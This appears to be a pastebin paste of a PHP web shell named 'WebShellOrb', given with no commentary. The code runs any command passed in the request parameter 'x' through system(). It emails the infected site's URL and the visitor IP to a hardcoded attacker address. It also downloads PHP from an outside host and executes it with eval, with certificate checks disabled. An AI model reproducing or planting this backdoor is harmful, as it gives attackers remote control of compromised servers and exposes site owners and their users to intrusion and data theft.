Paste Search Dynamic
WebShellOrb
  1. <?php
  2. @ini_set('output_buffering', 0);
  3. @ini_set('display_errors', 0);
  4. ini_set('memory_limit', '64M');
  5. if(isset($_REQUEST['x'])){
  6. $el=$_REQUEST['x'];
  7. system($el);
  8.  
  9. }
  10. header('Content-Type: text/html; charset=UTF-8');
  11. $tujuanmail = 'xtronge_bb44@yahoo.com';
  12. $x_path = "http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
  13. $pesan_alert = "fix $x_path :p *IP Address : [ " . $_SERVER['REMOTE_ADDR'] . " ]";
  14. mail($tujuanmail, "wso-shell", $pesan_alert, "[ " . $_SERVER['REMOTE_ADDR'] . " ]");
  15. ?>
  16. <?php
  17. function get_contents($url){
  18.   $ch = curl_init("$url");
  19.   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  20.   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  21.   curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0(Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  22.   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  23.   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  24.   curl_setopt($ch, CURLOPT_COOKIEJAR,$GLOBALS['coki']);
  25.   curl_setopt($ch, CURLOPT_COOKIEFILE,$GLOBALS['coki']);
  26.   $result = curl_exec($ch);
  27.   return $result;
  28. }
  29.  
  30. $a = get_contents('http://ndot.us/z1');
  31. eval('?>'.$a);
  32. ?>
Parsed in 0.032 seconds